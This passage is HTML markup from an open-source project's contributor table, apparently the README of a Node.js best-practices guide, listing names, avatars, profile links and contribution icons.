<tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://ripper234.com/\"><img src=\"https://avatars1.githubusercontent.com/u/172282?v=4\" width=\"100px;\" alt=\"Ron Gross\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ron Gross</b></sub></a><br /><a href=\"#content-ripper234\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.thecodebarbarian.com\"><img src=\"https://avatars2.githubusercontent.com/u/1620265?v=4\" width=\"100px;\" alt=\"Valeri Karpov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Valeri Karpov</b></sub></a><br /><a href=\"#content-vkarpov15\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://sergiobernal.com\"><img src=\"https://avatars3.githubusercontent.com/u/20087388?v=4\" width=\"100px;\" alt=\"Sergio Bernal\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Sergio Bernal</b></sub></a><br /><a href=\"#content-imsergiobernal\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ntelkedzhiev\"><img src=\"https://avatars2.githubusercontent.com/u/7332371?v=4\" width=\"100px;\" alt=\"Nikola Telkedzhiev\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Nikola Telkedzhiev</b></sub></a><br /><a href=\"#content-ntelkedzhiev\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/vitordagamagodoy\"><img src=\"https://avatars0.githubusercontent.com/u/26370059?v=4\" width=\"100px;\" alt=\"Vitor Godoy\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Vitor Godoy</b></sub></a><br /><a href=\"#content-vitordagamagodoy\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.manishsaraan.com/\"><img src=\"https://avatars2.githubusercontent.com/u/19797340?v=4\" width=\"100px;\" alt=\"Manish Saraan\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Manish Saraan</b></sub></a><br /><a href=\"#content-manishsaraan\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/uronly14me\"><img src=\"https://avatars2.githubusercontent.com/u/5186814?v=4\" width=\"100px;\" alt=\"Sangbeom Han\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Sangbeom Han</b></sub></a><br /><a href=\"#content-uronly14me\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://blackmatch.github.io\"><img src=\"https://avatars3.githubusercontent.com/u/12443954?v=4\" width=\"100px;\" alt=\"blackmatch\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>blackmatch</b></sub></a><br /><a href=\"#content-blackmatch\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://simmsreeve.com\"><img src=\"https://avatars3.githubusercontent.com/u/5173131?v=4\" width=\"100px;\" alt=\"Joe Reeve\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Joe Reeve</b></sub></a><br /><a href=\"#content-ISNIT0\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/BusbyActual\"><img src=\"https://avatars2.githubusercontent.com/u/14985016?v=4\" width=\"100px;\" alt=\"Ryan Busby\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ryan Busby</b></sub></a><br /><a href=\"#content-BusbyActual\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://jsdecorator.com\"><img src=\"https://avatars3.githubusercontent.com/u/4482199?v=4\" width=\"100px;\" alt=\"Iman Mohamadi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Iman Mohamadi</b></sub></a><br /><a href=\"#content-ImanMh\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/HeeL\"><img src=\"https://avatars1.githubusercontent.com/u/287769?v=4\" width=\"100px;\" alt=\"Sergii Paryzhskyi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Sergii Paryzhskyi</b></sub></a><br /><a href=\"#content-HeeL\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kapilepatel\"><img src=\"https://avatars3.githubusercontent.com/u/25738473?v=4\" width=\"100px;\" alt=\"Kapil Patel\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kapil Patel</b></sub></a><br /><a href=\"#content-kapilepatel\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/justjavac\"><img src=\"https://avatars1.githubusercontent.com/u/359395?v=4\" width=\"100px;\" alt=\"迷渡\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>迷渡</b></sub></a><br /><a href=\"#content-justjavac\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/hozefaj\"><img src=\"https://avatars1.githubusercontent.com/u/2084833?v=4\" width=\"100px;\" alt=\"Hozefa\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Hozefa</b></sub></a><br /><a href=\"#content-hozefaj\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/el-ethan\"><img src=\"https://avatars3.githubusercontent.com/u/10249884?v=4\" width=\"100px;\" alt=\"Ethan\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ethan</b></sub></a><br /><a href=\"#content-el-ethan\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/milkdeliver\"><img src=\"https://avatars2.githubusercontent.com/u/3108407?v=4\" width=\"100px;\" alt=\"Sam\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Sam</b></sub></a><br /><a href=\"#content-milkdeliver\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ArlindXh\"><img src=\"https://avatars0.githubusercontent.com/u/19508764?v=4\" width=\"100px;\" alt=\"Arlind\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Arlind</b></sub></a><br /><a href=\"#content-ArlindXh\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ttous\"><img src=\"https://avatars0.githubusercontent.com/u/19815440?v=4\" width=\"100px;\" alt=\"Teddy Toussaint\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Teddy Toussaint</b></sub></a><br /><a href=\"#content-ttous\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://ardern.io\"><img src=\"https://avatars2.githubusercontent.com/u/2419690?v=4\" width=\"100px;\" alt=\"Lewis\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Lewis</b></sub></a><br /><a href=\"#content-LewisArdern\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://gabriellidenor.com/\"><img src=\"https://avatars2.githubusercontent.com/u/765963?v=4\" width=\"100px;\" alt=\"Gabriel Lidenor \"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Gabriel Lidenor </b></sub></a><br /><a href=\"#content-GabrielLidenor\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/animir\"><img src=\"https://avatars3.githubusercontent.com/u/4623196?v=4\" width=\"100px;\" alt=\"Roman\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Roman</b></sub></a><br /><a href=\"#content-animir\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Francozeira\"><img src=\"https://avatars1.githubusercontent.com/u/47419763?v=4\" width=\"100px;\" alt=\"Francozeira\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Francozeira</b></sub></a><br /><a href=\"#content-Francozeira\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/invvard\"><img src=\"https://avatars0.githubusercontent.com/u/7305493?v=4\" width=\"100px;\" alt=\"Invvard\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Invvard</b></sub></a><br /><a href=\"#content-Invvard\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://romulogarofalo.github.io/\"><img src=\"https://avatars1.githubusercontent.com/u/18492592?v=4\" width=\"100px;\" alt=\"Rômulo Garofalo\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Rômulo Garofalo</b></sub></a><br /><a href=\"#content-romulogarofalo\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://thoqbk.github.io/\"><img src=\"https://avatars0.githubusercontent.com/u/1491103?v=4\" width=\"100px;\" alt=\"Tho Q Luong\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Tho Q Luong</b></sub></a><br /><a href=\"#content-thoqbk\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Qeneke\"><img src=\"https://avatars2.githubusercontent.com/u/20271568?v=4\" width=\"100px;\" alt=\"Burak Shen\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Burak Shen</b></sub></a><br /><a href=\"#content-Qeneke\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.happy-css.com\"><img src=\"https://avatars0.githubusercontent.com/u/2950505?v=4\" width=\"100px;\" alt=\"Martin Muzatko\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Martin Muzatko</b></sub></a><br /><a href=\"#content-MartinMuzatko\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/autoboxer\"><img src=\"https://avatars3.githubusercontent.com/u/2757601?v=4\" width=\"100px;\" alt=\"Jared Collier\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jared Collier</b></sub></a><br /><a href=\"#content-autoboxer\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://hiltonmeyer.com\"><img src=\"https://avatars3.githubusercontent.com/u/4545860?v=4\" width=\"100px;\" alt=\"Hilton Meyer\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Hilton Meyer</b></sub></a><br /><a href=\"#content-bikingbadger\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://kr.vuejs.org\"><img src=\"https://avatars0.githubusercontent.com/u/1451365?v=4\" width=\"100px;\" alt=\"ChangJoo Park(박창주)\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>ChangJoo Park(박창주)</b></sub></a><br /><a href=\"#content-ChangJoo-Park\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/MasahiroSakaguchi\"><img src=\"https://avatars0.githubusercontent.com/u/16427431?v=4\" width=\"100px;\" alt=\"Masahiro Sakaguchi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Masahiro Sakaguchi</b></sub></a><br /><a href=\"#content-MasahiroSakaguchi\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/TheHollidayInn\"><img src=\"https://avatars1.githubusercontent.com/u/1253400?v=4\" width=\"100px;\" alt=\"Keith Holliday\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Keith Holliday</b></sub></a><br /><a href=\"#content-TheHollidayInn\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.coreycleary.me\"><img src=\"https://avatars3.githubusercontent.com/u/1485356?v=4\" width=\"100px;\" alt=\"coreyc\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>coreyc</b></sub></a><br /><a href=\"#content-coreyc\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://maxcubing.wordpress.com\"><img src=\"https://avatars0.githubusercontent.com/u/8260834?v=4\" width=\"100px;\" alt=\"Maximilian Berkmann\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Maximilian Berkmann</b></sub></a><br /><a href=\"#content-Berkmann18\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/DouglasMV\"><img src=\"https://avatars3.githubusercontent.com/u/32845487?v=4\" width=\"100px;\" alt=\"Douglas Mariano Valero\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Douglas Mariano Valero</b></sub></a><br /><a href=\"#content-DouglasMV\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/marcelosdm\"><img src=\"https://avatars0.githubusercontent.com/u/18266600?v=4\" width=\"100px;\" alt=\"Marcelo Melo\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Marcelo Melo</b></sub></a><br /><a href=\"#content-marcelosdm\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/mperk_\"><img src=\"https://avatars0.githubusercontent.com/u/3465794?v=4\" width=\"100px;\" alt=\"Mehmet Perk\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Mehmet Perk</b></sub></a><br /><a href=\"#content-mperk\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ryanouyang\"><img src=\"https://avatars2.githubusercontent.com/u/360426?v=4\" width=\"100px;\" alt=\"ryan ouyang\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>ryan ouyang</b></sub></a><br /><a href=\"#content-ryanouyang\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/shabeer-mdy\"><img src=\"https://avatars0.githubusercontent.com/u/26842535?v=4\" width=\"100px;\" alt=\"Shabeer\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Shabeer</b></sub></a><br /><a href=\"#content-shabeer-mdy\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/halfzebra\"><img src=\"https://avatars1.githubusercontent.com/u/3983879?v=4\" width=\"100px;\" alt=\"Eduard Kyvenko\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Eduard Kyvenko</b></sub></a><br /><a href=\"#content-halfzebra\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://deyvisonrocha.com\"><img src=\"https://avatars2.githubusercontent.com/u/686067?v=4\" width=\"100px;\" alt=\"Deyvison Rocha\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Deyvison Rocha</b></sub></a><br /><a href=\"#content-deyvisonrocha\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://twitter.com/georgemamer\"><img src=\"https://avatars1.githubusercontent.com/u/20108934?v=4\" width=\"100px;\" alt=\"George Mamer\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>George Mamer</b></sub></a><br /><a href=\"#content-georgem3\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/leimonio\"><img src=\"https://avatars0.githubusercontent.com/u/1969742?v=4\" width=\"100px;\" alt=\"Konstantinos Leimonis\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Konstantinos Leimonis</b></sub></a><br /><a href=\"#content-leimonio\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Zybax\"><img src=\"https://avatars3.githubusercontent.com/u/22094453?v=4\" width=\"100px;\" alt=\"Oliver Lluberes\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Oliver Lluberes</b></sub></a><br /><a href=\"#translation-Zybax\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://stackoverflow.com/story/tiendq\"><img src=\"https://avatars2.githubusercontent.com/u/815910?v=4\" width=\"100px;\" alt=\"Tien Do\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Tien Do</b></sub></a><br /><a href=\"#content-tiendq\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://singh1114.github.io/\"><img src=\"https://avatars0.githubusercontent.com/u/11356398?v=4\" width=\"100px;\" alt=\"Ranvir Singh\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ranvir Singh</b></sub></a><br /><a href=\"#content-singh1114\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/collierrgbsitisfise\"><img src=\"https://avatars3.githubusercontent.com/u/13496126?v=4\" width=\"100px;\" alt=\"Vadim Nicolaev\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Vadim Nicolaev</b></sub></a><br /><a href=\"#content-collierrgbsitisfise\" title=\"Content\">🖋</a> <a href=\"#translation-collierrgbsitisfise\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/germangamboa95\"><img src=\"https://avatars3.githubusercontent.com/u/28633849?v=4\" width=\"100px;\" alt=\"German Gamboa Gonzalez\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>German Gamboa Gonzalez</b></sub></a><br /><a href=\"#content-germangamboa95\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/AbdelrahmanHafez\"><img src=\"https://avatars3.githubusercontent.com/u/19984935?v=4\" width=\"100px;\" alt=\"Hafez\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Hafez</b></sub></a><br /><a href=\"#content-AbdelrahmanHafez\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://linkedin.com/in/chandiran-dmc\"><img src=\"https://avatars3.githubusercontent.com/u/42678579?v=4\" width=\"100px;\" alt=\"Chandiran\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Chandiran</b></sub></a><br /><a href=\"#content-chandiran-dmc\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/VinayaSathyanarayana\"><img src=\"https://avatars2.githubusercontent.com/u/16976677?v=4\" width=\"100px;\" alt=\"VinayaSathyanarayana\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>VinayaSathyanarayana</b></sub></a><br /><a href=\"#content-VinayaSathyanarayana\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.kimkern.de\"><img src=\"https://avatars1.githubusercontent.com/u/2671139?v=4\" width=\"100px;\" alt=\"Kim Kern\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kim Kern</b></sub></a><br /><a href=\"#content-kiwikern\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://kennethfreitas.github.io/\"><img src=\"https://avatars2.githubusercontent.com/u/55669043?v=4\" width=\"100px;\" alt=\"Kenneth Freitas\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kenneth Freitas</b></sub></a><br /><a href=\"#content-kennethfreitas\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/songe\"><img src=\"https://avatars2.githubusercontent.com/u/1531561?v=4\" width=\"100px;\" alt=\"songe\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>songe</b></sub></a><br /><a href=\"#content-songe\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://ksed.dev\"><img src=\"https://avatars1.githubusercontent.com/u/30693707?v=4\" width=\"100px;\" alt=\"Kirill Shekhovtsov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kirill Shekhovtsov</b></sub></a><br /><a href=\"#content-Ksedline\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/SerzN1\"><img src=\"https://avatars0.githubusercontent.com/u/2534649?v=4\" width=\"100px;\" alt=\"Serge\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Serge</b></sub></a><br /><a href=\"#content-SerzN1\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/keyrwinz\"><img src=\"https://avatars3.githubusercontent.com/u/21241761?v=4\" width=\"100px;\" alt=\"keyrwinz\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>keyrwinz</b></sub></a><br /><a href=\"#content-keyrwinz\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/nDmitry\"><img src=\"https://avatars0.githubusercontent.com/u/2134568?v=4\" width=\"100px;\" alt=\"Dmitry Nikitenko\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Dmitry Nikitenko</b></sub></a><br /><a href=\"#content-nDmitry\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://bushuai.cc\"><img src=\"https://avatars0.githubusercontent.com/u/1875256?v=4\" width=\"100px;\" alt=\"bushuai\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>bushuai</b></sub></a><br /><a href=\"https://github.com/goldbergyoni/nodebestpractices/pulls?q=is%3Apr+reviewed-by%3Abushuai\" title=\"Reviewed Pull Requests\">👀</a> <a href=\"#content-bushuai\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://stackoverflow.com/users/1348195/benjamin-gruenbaum\"><img src=\"https://avatars2.githubusercontent.com/u/1315533?v=4\" width=\"100px;\" alt=\"Benjamin Gruenbaum\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Benjamin Gruenbaum</b></sub></a><br /><a href=\"#content-benjamingr\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/byeze\"><img src=\"https://avatars1.githubusercontent.com/u/7424138?v=4\" width=\"100px;\" alt=\"Ezequiel\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ezequiel</b></sub></a><br /><a href=\"#translation-byeze\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/juaoose\"><img src=\"https://avatars3.githubusercontent.com/u/994594?v=4\" width=\"100px;\" alt=\"Juan José Rodríguez\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Juan José Rodríguez</b></sub></a><br /><a href=\"#translation-juaoose\" title=\"Translation\">🌍</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/OrBin\"><img src=\"https://avatars1.githubusercontent.com/u/6897234?v=4\" width=\"100px;\" alt=\"Or Bin\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Or Bin</b></sub></a><br /><a href=\"#content-OrBin\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/andreoav07\"><img src=\"https://avatars2.githubusercontent.com/u/508827?v=4\" width=\"100px;\" alt=\"Andreo Vieira\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Andreo Vieira</b></sub></a><br /><a href=\"#content-andreoav\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/mikicho\"><img src=\"https://avatars1.githubusercontent.com/u/11459632?v=4\" width=\"100px;\" alt=\"Michael Solomon\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Michael Solomon</b></sub></a><br /><a href=\"#content-mikicho\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/jimmycallin\"><img src=\"https://avatars0.githubusercontent.com/u/2225828?v=4\" width=\"100px;\" alt=\"Jimmy Callin\"style=\"max-width:100px;min-width:100px;\" /><br 